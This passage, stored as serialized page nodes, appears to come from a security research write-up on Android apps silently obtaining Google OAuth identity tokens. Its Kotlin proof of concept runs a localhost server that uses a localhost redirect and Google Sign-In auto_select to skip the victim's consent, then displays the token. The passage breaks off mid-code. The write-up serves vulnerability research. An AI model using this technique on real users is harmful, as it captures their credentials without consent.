24,"tag":147,"props":105923,"children":105924},{"class":149,"line":299},[105925],{"type":24,"tag":147,"props":105926,"children":105927},{"style":235},[105928],{"type":29,"value":1935},{"type":24,"tag":147,"props":105930,"children":105931},{"class":149,"line":308},[105932],{"type":24,"tag":147,"props":105933,"children":105934},{"style":235},[105935],{"type":29,"value":441},{"type":24,"tag":147,"props":105937,"children":105938},{"class":149,"line":317},[105939],{"type":24,"tag":147,"props":105940,"children":105941},{"emptyLinePlaceholder":16},[105942],{"type":29,"value":314},{"type":24,"tag":147,"props":105944,"children":105945},{"class":149,"line":332},[105946],{"type":24,"tag":147,"props":105947,"children":105948},{"style":154},[105949],{"type":29,"value":76274},{"type":24,"tag":147,"props":105951,"children":105952},{"class":149,"line":350},[105953,105957,105961,105965],{"type":24,"tag":147,"props":105954,"children":105955},{"style":218},[105956],{"type":29,"value":76282},{"type":24,"tag":147,"props":105958,"children":105959},{"style":235},[105960],{"type":29,"value":76287},{"type":24,"tag":147,"props":105962,"children":105963},{"style":241},[105964],{"type":29,"value":369},{"type":24,"tag":147,"props":105966,"children":105967},{"style":3534},[105968],{"type":29,"value":105969}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":147,"props":105971,"children":105972},{"class":149,"line":358},[105973,105977,105981,105985,105989,105993,105997],{"type":24,"tag":147,"props":105974,"children":105975},{"style":218},[105976],{"type":29,"value":76282},{"type":24,"tag":147,"props":105978,"children":105979},{"style":235},[105980],{"type":29,"value":76308},{"type":24,"tag":147,"props":105982,"children":105983},{"style":241},[105984],{"type":29,"value":369},{"type":24,"tag":147,"props":105986,"children":105987},{"style":229},[105988],{"type":29,"value":76317},{"type":24,"tag":147,"props":105990,"children":105991},{"style":235},[105992],{"type":29,"value":76322},{"type":24,"tag":147,"props":105994,"children":105995},{"style":229},[105996],{"type":29,"value":44808},{"type":24,"tag":147,"props":105998,"children":105999},{"style":235},[106000],{"type":29,"value":76331},{"type":24,"tag":147,"props":106002,"children":106003},{"class":149,"line":397},[106004,106008],{"type":24,"tag":147,"props":106005,"children":106006},{"style":229},[106007],{"type":29,"value":76339},{"type":24,"tag":147,"props":106009,"children":106010},{"style":235},[106011],{"type":29,"value":76344},{"type":24,"tag":147,"props":106013,"children":106014},{"class":149,"line":421},[106015],{"type":24,"tag":147,"props":106016,"children":106017},{"style":235},[106018],{"type":29,"value":1952},{"type":24,"tag":147,"props":106020,"children":106021},{"class":149,"line":435},[106022],{"type":24,"tag":147,"props":106023,"children":106024},{"emptyLinePlaceholder":16},[106025],{"type":29,"value":314},{"type":24,"tag":147,"props":106027,"children":106028},{"class":149,"line":444},[106029,106033,106037,106041],{"type":24,"tag":147,"props":106030,"children":106031},{"style":218},[106032],{"type":29,"value":76366},{"type":24,"tag":147,"props":106034,"children":106035},{"style":218},[106036],{"type":29,"value":11832},{"type":24,"tag":147,"props":106038,"children":106039},{"style":229},[106040],{"type":29,"value":76375},{"type":24,"tag":147,"props":106042,"children":106043},{"style":235},[106044],{"type":29,"value":21347},{"type":24,"tag":147,"props":106046,"children":106047},{"class":149,"line":452},[106048,106052,106056,106060,106064],{"type":24,"tag":147,"props":106049,"children":106050},{"style":229},[106051],{"type":29,"value":76387},{"type":24,"tag":147,"props":106053,"children":106054},{"style":235},[106055],{"type":29,"value":76392},{"type":24,"tag":147,"props":106057,"children":106058},{"style":241},[106059],{"type":29,"value":369},{"type":24,"tag":147,"props":106061,"children":106062},{"style":705},[106063],{"type":29,"value":76401},{"type":24,"tag":147,"props":106065,"children":106066},{"style":235},[106067],{"type":29,"value":505},{"type":24,"tag":147,"props":106069,"children":106070},{"class":149,"line":461},[106071,106075],{"type":24,"tag":147,"props":106072,"children":106073},{"style":229},[106074],{"type":29,"value":76413},{"type":24,"tag":147,"props":106076,"children":106077},{"style":235},[106078],{"type":29,"value":6630},{"type":24,"tag":147,"props":106080,"children":106081},{"class":149,"line":469},[106082,106086,106090,106094],{"type":24,"tag":147,"props":106083,"children":106084},{"style":218},[106085],{"type":29,"value":76425},{"type":24,"tag":147,"props":106087,"children":106088},{"style":235},[106089],{"type":29,"value":480},{"type":24,"tag":147,"props":106091,"children":106092},{"style":3534},[106093],{"type":29,"value":76434},{"type":24,"tag":147,"props":106095,"children":106096},{"style":235},[106097],{"type":29,"value":505},{"type":24,"tag":147,"props":106099,"children":106100},{"class":149,"line":508},[106101,106105,106109],{"type":24,"tag":147,"props":106102,"children":106103},{"style":235},[106104],{"type":29,"value":76446},{"type":24,"tag":147,"props":106106,"children":106107},{"style":229},[106108],{"type":29,"value":76451},{"type":24,"tag":147,"props":106110,"children":106111},{"style":235},[106112],{"type":29,"value":6630},{"type":24,"tag":147,"props":106114,"children":106115},{"class":149,"line":572},[106116,106120],{"type":24,"tag":147,"props":106117,"children":106118},{"style":229},[106119],{"type":29,"value":76463},{"type":24,"tag":147,"props":106121,"children":106122},{"style":235},[106123],{"type":29,"value":6630},{"type":24,"tag":147,"props":106125,"children":106126},{"class":149,"line":591},[106127,106131,106135,106139,106143],{"type":24,"tag":147,"props":106128,"children":106129},{"style":229},[106130],{"type":29,"value":76475},{"type":24,"tag":147,"props":106132,"children":106133},{"style":235},[106134],{"type":29,"value":76480},{"type":24,"tag":147,"props":106136,"children":106137},{"style":241},[106138],{"type":29,"value":369},{"type":24,"tag":147,"props":106140,"children":106141},{"style":3534},[106142],{"type":29,"value":76489},{"type":24,"tag":147,"props":106144,"children":106145},{"style":235},[106146],{"type":29,"value":269},{"type":24,"tag":147,"props":106148,"children":106149},{"class":149,"line":632},[106150,106154,106158,106162,106166,106170,106174,106178],{"type":24,"tag":147,"props":106151,"children":106152},{"style":229},[106153],{"type":29,"value":76475},{"type":24,"tag":147,"props":106155,"children":106156},{"style":235},[106157],{"type":29,"value":76505},{"type":24,"tag":147,"props":106159,"children":106160},{"style":241},[106161],{"type":29,"value":369},{"type":24,"tag":147,"props":106163,"children":106164},{"style":3534},[106165],{"type":29,"value":76514},{"type":24,"tag":147,"props":106167,"children":106168},{"style":235},[106169],{"type":29,"value":76519},{"type":24,"tag":147,"props":106171,"children":106172},{"style":241},[106173],{"type":29,"value":369},{"type":24,"tag":147,"props":106175,"children":106176},{"style":3534},[106177],{"type":29,"value":76528},{"type":24,"tag":147,"props":106179,"children":106180},{"style":235},[106181],{"type":29,"value":269},{"type":24,"tag":147,"props":106183,"children":106184},{"class":149,"line":659},[106185,106189,106193,106197],{"type":24,"tag":147,"props":106186,"children":106187},{"style":229},[106188],{"type":29,"value":76540},{"type":24,"tag":147,"props":106190,"children":106191},{"style":235},[106192],{"type":29,"value":480},{"type":24,"tag":147,"props":106194,"children":106195},{"style":3534},[106196],{"type":29,"value":76549},{"type":24,"tag":147,"props":106198,"children":106199},{"style":235},[106200],{"type":29,"value":269},{"type":24,"tag":147,"props":106202,"children":106203},{"class":149,"line":684},[106204],{"type":24,"tag":147,"props":106205,"children":106206},{"style":235},[106207],{"type":29,"value":76561},{"type":24,"tag":147,"props":106209,"children":106210},{"class":149,"line":715},[106211,106215],{"type":24,"tag":147,"props":106212,"children":106213},{"style":229},[106214],{"type":29,"value":76569},{"type":24,"tag":147,"props":106216,"children":106217},{"style":235},[106218],{"type":29,"value":6630},{"type":24,"tag":147,"props":106220,"children":106221},{"class":149,"line":744},[106222,106226,106230,106234,106238],{"type":24,"tag":147,"props":106223,"children":106224},{"style":229},[106225],{"type":29,"value":76581},{"type":24,"tag":147,"props":106227,"children":106228},{"style":235},[106229],{"type":29,"value":15207},{"type":24,"tag":147,"props":106231,"children":106232},{"style":241},[106233],{"type":29,"value":624},{"type":24,"tag":147,"props":106235,"children":106236},{"style":3534},[106237],{"type":29,"value":76594},{"type":24,"tag":147,"props":106239,"children":106240},{"style":235},[106241],{"type":29,"value":15217},{"type":24,"tag":147,"props":106243,"children":106244},{"class":149,"line":784},[106245,106249],{"type":24,"tag":147,"props":106246,"children":106247},{"style":229},[106248],{"type":29,"value":76606},{"type":24,"tag":147,"props":106250,"children":106251},{"style":235},[106252],{"type":29,"value":6630},{"type":24,"tag":147,"props":106254,"children":106255},{"class":149,"line":792},[106256,106260],{"type":24,"tag":147,"props":106257,"children":106258},{"style":241},[106259],{"type":29,"value":76618},{"type":24,"tag":147,"props":106261,"children":106262},{"style":3534},[106263],{"type":29,"value":106264},"\"document.body.innerText = location.hash;\"\n",{"type":24,"tag":147,"props":106266,"children":106267},{"class":149,"line":805},[106268],{"type":24,"tag":147,"props":106269,"children":106270},{"style":235},[106271],{"type":29,"value":76631},{"type":24,"tag":147,"props":106273,"children":106274},{"class":149,"line":813},[106275],{"type":24,"tag":147,"props":106276,"children":106277},{"style":235},[106278],{"type":29,"value":76561},{"type":24,"tag":147,"props":106280,"children":106281},{"class":149,"line":821},[106282],{"type":24,"tag":147,"props":106283,"children":106284},{"style":235},[106285],{"type":29,"value":76646},{"type":24,"tag":147,"props":106287,"children":106288},{"class":149,"line":1902},[106289],{"type":24,"tag":147,"props":106290,"children":106291},{"style":235},[106292],{"type":29,"value":1666},{"type":24,"tag":147,"props":106294,"children":106295},{"class":149,"line":1920},[106296],{"type":24,"tag":147,"props":106297,"children":106298},{"style":235},[106299],{"type":29,"value":1935},{"type":24,"tag":147,"props":106301,"children":106302},{"class":149,"line":1929},[106303,106307,106311,106315,106319,106323],{"type":24,"tag":147,"props":106304,"children":106305},{"style":235},[106306],{"type":29,"value":76668},{"type":24,"tag":147,"props":106308,"children":106309},{"style":229},[106310],{"type":29,"value":76673},{"type":24,"tag":147,"props":106312,"children":106313},{"style":235},[106314],{"type":29,"value":76678},{"type":24,"tag":147,"props":106316,"children":106317},{"style":241},[106318],{"type":29,"value":369},{"type":24,"tag":147,"props":106320,"children":106321},{"style":218},[106322],{"type":29,"value":18087},{"type":24,"tag":147,"props":106324,"children":106325},{"style":235},[106326],{"type":29,"value":269},{"type":24,"tag":147,"props":106328,"children":106329},{"class":149,"line":1938},[106330],{"type":24,"tag":147,"props":106331,"children":106332},{"style":235},[106333],{"type":29,"value":1952},{"type":24,"tag":25,"props":106335,"children":106336},{},[106337],{"type":29,"value":106338},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":24,"tag":25,"props":106340,"children":106341},{},[106342,106344,106350],{"type":29,"value":106343},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":24,"tag":80,"props":106345,"children":106347},{"className":106346},[],[106348],{"type":29,"value":106349},"auto_select",{"type":29,"value":106351}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":24,"tag":137,"props":106353,"children":106355},{"className":105711,"code":106354,"language":105713,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[106356],{"type":24,"tag":80,"props":106357,"children":106358},{"__ignoreMap":7},[106359,106386,106405,106412,106431,106442,106453,106484,106507,106554,106561,106568,106575,106615,106626,106633,106640,106659,106682,106693,106712,106727,106738,106758,106769,106786,106812,106836,106843,106854,106866,106879,106887,106895,106902,106909,106917,106925,106933,106941,106949,106957,106965,106972,106979,106987,106995,107003,107010,107017,107025,107032,107053,107061,107068,107075,107086,107110,107122,107139,107146,107153,107161,107169,107177,107205],{"type":24,"tag":147,"props":106360,"children":106361},{"class":149,"line":150},[106362,106366,106370,106374,106378,106382],{"type":24,"tag":147,"props":106363,"children":106364},{"style":218},[106365],{"type":29,"value":76027},{"type":24,"tag":147,"props":106367,"children":106368},{"style":218},[106369],{"type":29,"value":11832},{"type":24,"tag":147,"props":106371,"children":106372},{"style":229},[106373],{"type":29,"value":76036},{"type":24,"tag":147,"props":106375,"children":106376},{"style":235},[106377],{"type":29,"value":76041},{"type":24,"tag":147,"props":106379,"children":106380},{"style":9044},[106381],{"type":29,"value":76046},{"type":24,"tag":147,"props":106383,"children":106384},{"style":235},[106385],{"type":29,"value":76051},{"type":24,"tag":147,"props":106387,"children":106388},{"class":149,"line":160},[106389,106393,106397,106401],{"type":24,"tag":147,"props":106390,"children":106391},{"style":218},[106392],{"type":29,"value":76059},{"type":24,"tag":147,"props":106394,"children":106395},{"style":235},[106396],{"type":29,"value":87},{"type":24,"tag":147,"props":106398,"children":106399},{"style":229},[106400],{"type":29,"value":76068},{"type":24,"tag":147,"props":106402,"children":106403},{"style":235},[106404],{"type":29,"value":76073},{"type":24,"tag":147,"props":106406,"children":106407},{"class":149,"line":169},[106408],{"type":24,"tag":147,"props":106409,"children":106410},{"emptyLinePlaceholder":16},[106411],{"type":29,"value":314},{"type":24,"tag":147,"props":106413,"children":106414},{"class":149,"line":178},[106415,106419,106423,106427],{"type":24,"tag":147,"props":106416,"children":106417},{"style":229},[106418],{"type":29,"value":76096},{"type":24,"tag":147,"props":106420,"children":106421},{"style":235},[106422],{"type":29,"value":76101},{"type":24,"tag":147,"props":106424,"children":106425},{"style":229},[106426],{"type":29,"value":76106},{"type":24,"tag":147,"props":106428,"children":106429},{"style":235},[106430],{"type":29,"value":6630},{"type":24,"tag":147,"props":106432,"children":106433},{"class":149,"line":187},[106434,106438],{"type":24,"tag":147,"props":106435,"children":106436},{"style":321},[106437],{"type":29,"value":76118},{"type":24,"tag":147,"props":106439,"children":106440},{"style":235},[106441],{"type":29,"value":6630},{"type":24,"tag":147,"props":106443,"children":106444},{"class":149,"line":196},[106445,106449],{"type":24,"tag":147,"props":106446,"children":106447},{"style":229},[106448],{"type":29,"value":76130},{"type":24,"tag":147,"props":106450,"children":106451},{"style":235},[106452],{"type":29,"value":13361},{"type":24,"tag":147,"props":106454,"children":106455},{"class":149,"line":205},[106456,106460,106464,106468,106472,106476,106480],{"type":24,"tag":147,"props":106457,"children":106458},{"style":235},[106459],{"type":29,"value":76142},{"type":24,"tag":147,"props":106461,"children":106462},{"style":229},[106463],{"type":29,"value":76147},{"type":24,"tag":147,"props":106465,"children":106466},{"style":235},[106467],{"type":29,"value":480},{"type":24,"tag":147,"props":106469,"children":106470},{"style":3534},[106471],{"type":29,"value":76156},{"type":24,"tag":147,"props":106473,"children":106474},{"style":235},[106475],{"type":29,"value":546},{"type":24,"tag":147,"props":106477,"children":106478},{"style":3534},[106479],{"type":29,"value":76165},{"type":24,"tag":147,"props":106481,"children":106482},{"style":235},[106483],{"type":29,"value":269},{"type":24,"tag":147,"props":106485,"children":106486},{"class":149,"line":214},[106487,106491,106495,106499,106503],{"type":24,"tag":147,"props":106488,"children":106489},{"style":235},[106490],{"type":29,"value":76177},{"type":24,"tag":147,"props":106492,"children":106493},{"style":218},[106494],{"type":29,"value":54010},{"type":24,"tag":147,"props":106496,"children":106497},{"style":235},[106498],{"type":29,"value":76186},{"type":24,"tag":147,"props":106500,"children":106501},{"style":9044},[106502],{"type":29,"value":76191},{"type":24,"tag":147,"props":106504,"children":106505},{"style":235},[106506],{"type":29,"value":505},{"type":24,"tag":147,"props":106508,"children":106509},{"class":149,"line":272},[106510,106514,106518,106522,106526,106530,106534,106538,106542,106546,106550],{"type":24,"tag":147,"props":106511,"children":106512},{"style":235},[106513],{"type":29,"value":76142},{"type":24,"tag":147,"props":106515,"children":106516},{"style":229},[106517],{"type":29,"value":57047},{"type":24,"tag":147,"props":106519,"children":106520},{"style":235},[106521],{"type":29,"value":480},{"type":24,"tag":147,"props":106523,"children":106524},{"style":3534},[106525],{"type":29,"value":76156},{"type":24,"tag":147,"props":106527,"children":106528},{"style":235},[106529],{"type":29,"value":546},{"type":24,"tag":147,"props":106531,"children":106532},{"style":3534},[106533],{"type":29,"value":76223},{"type":24,"tag":147,"props":106535,"children":106536},{"style":218},[106537],{"type":29,"value":39709},{"type":24,"tag":147,"props":106539,"children":106540},{"style":241},[106541],{"type":29,"value":76232},{"type":24,"tag":147,"props":106543,"children":106544},{"style":218},[106545],{"type":29,"value":39741},{"type":24,"tag":147,"props":106547,"children":106548},{"style":3534},[106549],{"type":29,"value":25663},{"type":24,"tag":147,"props":106551,"children":106552},{"style":235},[106553],{"type":29,"value":76245},{"type":24,"tag":147,"props":106555,"children":106556},{"class":149,"line":281},[106557],{"type":24,"tag":147,"props":106558,"children":106559},{"style":235},[106560],{"type":29,"value":1935},{"type":24,"tag":147,"props":106562,"children":106563},{"class":149,"line":299},[106564],{"type":24,"tag":147,"props":106565,"children":106566},{"style":235},[106567],{"type":29,"value":441},{"type":24,"tag":147,"props":106569,"children":106570},{"class":149,"line":308},[106571],{"type":24,"tag":147,"props":106572,"children":106573},{"emptyLinePlaceholder":16},[106574],{"type":29,"value":314},{"type":24,"tag":147,"props":106576,"children":106577},{"class":149,"line":317},[106578,106582,106586,106590,106594,106598,106602,106606,106611],{"type":24,"tag":147,"props":106579,"children":106580},{"style":218},[106581],{"type":29,"value":76282},{"type":24,"tag":147,"props":106583,"children":106584},{"style":235},[106585],{"type":29,"value":76308},{"type":24,"tag":147,"props":106587,"children":106588},{"style":241},[106589],{"type":29,"value":369},{"type":24,"tag":147,"props":106591,"children":106592},{"style":229},[106593],{"type":29,"value":76317},{"type":24,"tag":147,"props":106595,"children":106596},{"style":235},[106597],{"type":29,"value":76322},{"type":24,"tag":147,"props":106599,"children":106600},{"style":229},[106601],{"type":29,"value":44808},{"type":24,"tag":147,"props":106603,"children":106604},{"style":235},[106605],{"type":29,"value":480},{"type":24,"tag":147,"props":106607,"children":106608},{"style":3534},[106609],{"type":29,"value":106610},"\"http://localhost:3000\"",{"type":24,"tag":147,"props":106612,"children":106613},{"style":235},[106614],{"type":29,"value":3519},{"type":24,"tag":147,"props":106616,"children":106617},{"class":149,"line":332},[106618,106622],{"type":24,"tag":147,"props":106619,"children":106620},{"style":229},[106621],{"type":29,"value":76339},{"type":24,"tag":147,"props":106623,"children":106624},{"style":235},[106625],{"type":29,"value":76344},{"type":24,"tag":147,"props":106627,"children":106628},{"class":149,"line":350},[106629],{"type":24,"tag":147,"props":106630,"children":106631},{"style":235},[106632],{"type":29,"value":1952},{"type":24,"tag":147,"props":106634,"children":106635},{"class":149,"line":358},[106636],{"type":24,"tag":147,"props":106637,"children":106638},{"emptyLinePlaceholder":16},[106639],{"type":29,"value":314},{"type":24,"tag":147,"props":106641,"children":106642},{"class":149,"line":397},[106643,106647,106651,106655],{"type":24,"tag":147,"props":106644,"children":106645},{"style":218},[106646],{"type":29,"value":76366},{"type":24,"tag":147,"props":106648,"children":106649},{"style":218},[106650],{"type":29,"value":11832},{"type":24,"tag":147,"props":106652,"children":106653},{"style":229},[106654],{"type":29,"value":76375},{"type":24,"tag":147,"props":106656,"children":106657},{"style":235},[106658],{"type":29,"value":21347},{"type":24,"tag":147,"props":106660,"children":106661},{"class":149,"line":421},[106662,106666,106670,106674,106678],{"type":24,"tag":147,"props":106663,"children":106664},{"style":229},[106665],{"type":29,"value":76387},{"type":24,"tag":147,"props":106667,"children":106668},{"style":235},[106669],{"type":29,"value":76392},{"type":24,"tag":147,"props":106671,"children":106672},{"style":241},[106673],{"type":29,"value":369},{"type":24,"tag":147,"props":106675,"children":106676},{"style":705},[106677],{"type":29,"value":76401},{"type":24,"tag":147,"props":106679,"children":106680},{"style":235},[106681],{"type":29,"value":505},{"type":24,"tag":147,"props":106683,"children":106684},{"class":149,"line":435},[106685,106689],{"type":24,"tag":147,"props":106686,"children":106687},{"style":229},[106688],{"type":29,"value":76413},{"type":24,"tag":147,"props":106690,"children":106691},{"style":235},[106692],{"type":29,"value":6630},{"type":24,"tag":147,"props":106694,"children":106695},{"class":149,"line":444},[106696,106700,106704,106708],{"type":24,"tag":147,"props":106697,"children":106698},{"style":218},[106699],{"type":29,"value":76425},{"type":24,"tag":147,"props":106701,"children":106702},{"style":235},[106703],{"type":29,"value":480},{"type":24,"tag":147,"props":106705,"children":106706},{"style":3534},[106707],{"type":29,"value":76434},{"type":24,"tag":147,"props":106709,"children":106710},{"style":235},[106711],{"type":29,"value":505},{"type":24,"tag":147,"props":106713,"children":106714},{"class":149,"line":452},[106715,106719,106723],{"type":24,"tag":147,"props":106716,"children":106717},{"style":235},[106718],{"type":29,"value":76446},{"type":24,"tag":147,"props":106720,"children":106721},{"style":229},[106722],{"type":29,"value":76451},{"type":24,"tag":147,"props":106724,"children":106725},{"style":235},[106726],{"type":29,"value":6630},{"type":24,"tag":147,"props":106728,"children":106729},{"class":149,"line":461},[106730,106734],{"type":24,"tag":147,"props":106731,"children":106732},{"style":229},[106733],{"type":29,"value":76463},{"type":24,"tag":147,"props":106735,"children":106736},{"style":235},[106737],{"type":29,"value":6630},{"type":24,"tag":147,"props":106739,"children":106740},{"class":149,"line":469},[106741,106745,106749,106754],{"type":24,"tag":147,"props":106742,"children":106743},{"style":229},[106744],{"type":29,"value":76540},{"type":24,"tag":147,"props":106746,"children":106747},{"style":235},[106748],{"type":29,"value":480},{"type":24,"tag":147,"props":106750,"children":106751},{"style":3534},[106752],{"type":29,"value":106753},"\"Test\"",{"type":24,"tag":147,"props":106755,"children":106756},{"style":235},[106757],{"type":29,"value":269},{"type":24,"tag":147,"props":106759,"children":106760},{"class":149,"line":508},[106761,106765],{"type":24,"tag":147,"props":106762,"children":106763},{"style":229},[106764],{"type":29,"value":76606},{"type":24,"tag":147,"props":106766,"children":106767},{"style":235},[106768],{"type":29,"value":6630},{"type":24,"tag":147,"props":106770,"children":106771},{"class":149,"line":572},[106772,106777,106781],{"type":24,"tag":147,"props":106773,"children":106774},{"style":235},[106775],{"type":29,"value":106776},"                                src ",{"type":24,"tag":147,"props":106778,"children":106779},{"style":241},[106780],{"type":29,"value":369},{"type":24,"tag":147,"props":106782,"children":106783},{"style":3534},[106784],{"type":29,"value":106785}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":147,"props":106787,"children":106788},{"class":149,"line":591},[106789,106794,106799,106803,106807],{"type":24,"tag":147,"props":106790,"children":106791},{"style":235},[106792],{"type":29,"value":106793},"                                attributes[",{"type":24,"tag":147,"props":106795,"children":106796},{"style":3534},[106797],{"type":29,"value":106798},"\"async\"",{"type":24,"tag":147,"props":106800,"children":106801},{"style":235},[106802],{"type":29,"value":14286},{"type":24,"tag":147,"props":106804,"children":106805},{"style":241},[106806],{"type":29,"value":369},{"type":24,"tag":147,"props":106808,"children":106809},{"style":3534},[106810],{"type":29,"value":106811}," \"\"\n",{"type":24,"tag":147,"props":106813,"children":106814},{"class":149,"line":632},[106815,106819,106824,106828,106832],{"type":24,"tag":147,"props":106816,"children":106817},{"style":235},[106818],{"type":29,"value":106793},{"type":24,"tag":147,"props":106820,"children":106821},{"style":3534},[106822],{"type":29,"value":106823},"\"defer\"",{"type":24,"tag":147,"props":106825,"children":106826},{"style":235},[106827],{"type":29,"value":14286},{"type":24,"tag":147,"props":106829,"children":106830},{"style":241},[106831],{"type":29,"value":369},{"type":24,"tag":147,"props":106833,"children":106834},{"style":3534},[106835],{"type":29,"value":106811},{"type":24,"tag":147,"props":106837,"children":106838},{"class":149,"line":659},[106839],{"type":24,"tag":147,"props":106840,"children":106841},{"style":235},[106842],{"type":29,"value":76631},{"type":24,"tag":147,"props":106844,"children":106845},{"class":149,"line":684},[106846,106850],{"type":24,"tag":147,"props":106847,"children":106848},{"style":229},[106849],{"type":29,"value":76606},{"type":24,"tag":147,"props":106851,"children":106852},{"style":235},[106853],{"type":29,"value":6630},{"type":24,"tag":147,"props":106855,"children":106856},{"class":149,"line":715},[106857,106862],{"type":24,"tag":147,"props":106858,"children":106859},{"style":229},[106860],{"type":29,"value":106861},"                                unsafe",{"type":24,"tag":147,"props":106863,"children":106864},{"style":235},[106865],{"type":29,"value":6630},{"type":24,"tag":147,"props":106867,"children":106868},{"class":149,"line":744},[106869,106874],{"type":24,"tag":147,"props":106870,"children":106871},{"style":241},[106872],{"type":29,"value":106873},"                                    +",{"type":24,"tag":147,"props":106875,"children":106876},{"style":3534},[106877],{"type":29,"value":106878},"\"\"\"\n",{"type":24,"tag":147,"props":106880,"children":106881},{"class":149,"line":784},[106882],{"type":24,"tag":147,"props":106883,"children":106884},{"style":3534},[106885],{"type":29,"value":106886},"    function handleCredentialResponse(response) {\n",{"type":24,"tag":147,"props":106888,"children":106889},{"class":149,"line":792},[106890],{"type":24,"tag":147,"props":106891,"children":106892},{"style":3534},[106893],{"type":29,"value":106894},"      alert(\"credential: \" + response.credential);\n",{"type":24,"tag":147,"props":106896,"children":106897},{"class":149,"line":805},[106898],{"type":24,"tag":147,"props":106899,"children":106900},{"style":3534},[106901],{"type":29,"value":1952},{"type":24,"tag":147,"props":106903,"children":106904},{"class":149,"line":813},[106905],{"type":24,"tag":147,"props":106906,"children":106907},{"emptyLinePlaceholder":16},[106908],{"type":29,"value":314},{"type":24,"tag":147,"props":106910,"children":106911},{"class":149,"line":821},[106912],{"type":24,"tag":147,"props":106913,"children":106914},{"style":3534},[106915],{"type":29,"value":106916},"    window.onload = async function () {\n",{"type":24,"tag":147,"props":106918,"children":106919},{"class":149,"line":1902},[106920],{"type":24,"tag":147,"props":106921,"children":106922},{"style":3534},[106923],{"type":29,"value":106924},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":147,"props":106926,"children":106927},{"class":149,"line":1920},[106928],{"type":24,"tag":147,"props":106929,"children":106930},{"style":3534},[106931],{"type":29,"value":106932},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":147,"props":106934,"children":106935},{"class":149,"line":1929},[106936],{"type":24,"tag":147,"props":106937,"children":106938},{"style":3534},[106939],{"type":29,"value":106940},"      google.accounts.id.initialize({\n",{"type":24,"tag":147,"props":106942,"children":106943},{"class":149,"line":1938},[106944],{"type":24,"tag":147,"props":106945,"children":106946},{"style":3534},[106947],{"type":29,"value":106948},"        client_id: client_id,\n",{"type":24,"tag":147,"props":106950,"children":106951},{"class":149,"line":1946},[106952],{"type":24,"tag":147,"props":106953,"children":106954},{"style":3534},[106955],{"type":29,"value":106956},"        callback: handleCredentialResponse,\n",{"type":24,"tag":147,"props":106958,"children":106959},{"class":149,"line":1955},[106960],{"type":24,"tag":147,"props":106961,"children":106962},{"style":3534},[106963],{"type":29,"value":106964},"        